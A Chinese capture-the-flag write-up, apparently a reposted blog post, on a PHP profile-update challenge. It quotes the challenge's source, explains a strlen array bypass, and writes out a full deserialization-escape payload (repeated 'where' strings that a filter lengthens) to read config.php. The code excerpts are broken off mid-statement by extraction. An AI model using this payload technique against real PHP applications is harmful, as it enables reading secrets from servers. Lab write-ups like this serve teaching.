本文共 4167 字,大约阅读时间需要 13 分钟。
16) die('Invalid user name'); if(strlen($password) < 3 or strlen($password) > 16) die('Invalid password'); if(!$user->is_exists($username)) { $user->register($username, $password); echo 'Register OK!Please Login'; } else { die('User name Already Exists'); } } else { ?>
10) die('Invalid nickname'); $file = $_FILES['photo']; if($file['size'] < 5 or $file['size'] > 1000000) die('Photo size error'); move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name'])); $profile['phone'] = $_POST['phone']; $profile['email'] = $_POST['email']; $profile['nickname'] = $_POST['nickname']; $profile['photo'] = 'upload/' . md5($file['name']); $user->update_profile($username, serialize($profile)); echo 'Update Profile Success!Your Profile'; }
- 电话号码必须为11位数
- email必须为10个以内的数字和字母@10个以内的数字和字母.10个以内的数字和字母
- nickname 必须是小于十位的数字、字母和下划线
- 文件的大小也进行了限制 文件名进行了md5加密
- 最后对profile数组进行了序列化 这里应该就是题目的考点之一了
show_profile($username); if($profile == null) { header('Location: update.php'); } else { $profile = unserialize($profile); $phone = $profile['phone']; $email = $profile['email']; $nickname = $profile['nickname']; $photo = base64_encode(file_get_contents($profile['photo']));?>
public function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); }
a:4:{ s:5:"phone";s:11:"12345678910";s:5:"email";s:10:"123@qq.com";s:8:"nickname";s:6:"xbx_0d";s:5:"photo";s:10:"config.php";}
这里就要补充一个知识点了
- if(preg_match(’/[^a-zA-Z0-9_]/’, $_POST[‘nickname’]) || strlen($_POST[‘nickname’]) > 10) die(‘Invalid nickname’);
- strlen函数可以通过数组绕过 strlen(Array()) = null
a:4:{s:5:"phone";s:11:"12345678910";s:5:"email";s:10:"123@qq.com";s:8:"nickname";a:1:{i:0;s:6:"xbx_0d";}s:5:"photo";s:10:"config.php";}
;}s:5:"photo";s:10:"config.php";}
总共三十四位wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
a:4:{s:5:"phone";s:11:"12345678910";s:5:"email";s:10:"123@qq.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:11:"aaaaaaaaaaa";}替换后a:4:{s:5:"phone";s:11:"12345678910";s:5:"email";s:10:"123@qq.com";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:11:"aaaaaaaaaaa";}反序列化a:4:{s:5:"phone";s:11:"12345678910";s:5:"email";s:10:"123@qq.com";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}
- 题目重点就是题目名序列化
- 主要考察反序列化的逃逸
- 其次加了个strlen()函数的数组绕过
- file_get_contents()应该算是个SSRF吧
刚刚私信大佬 为啥config.php里面没有flag,读取的时候却有flag
我发出的瞬间才反应过来这个傻子问题 www.zip是直接给你的 不代表它用的config.php就是给你的config.php
转载地址:http://oywmf.baihongyu.com/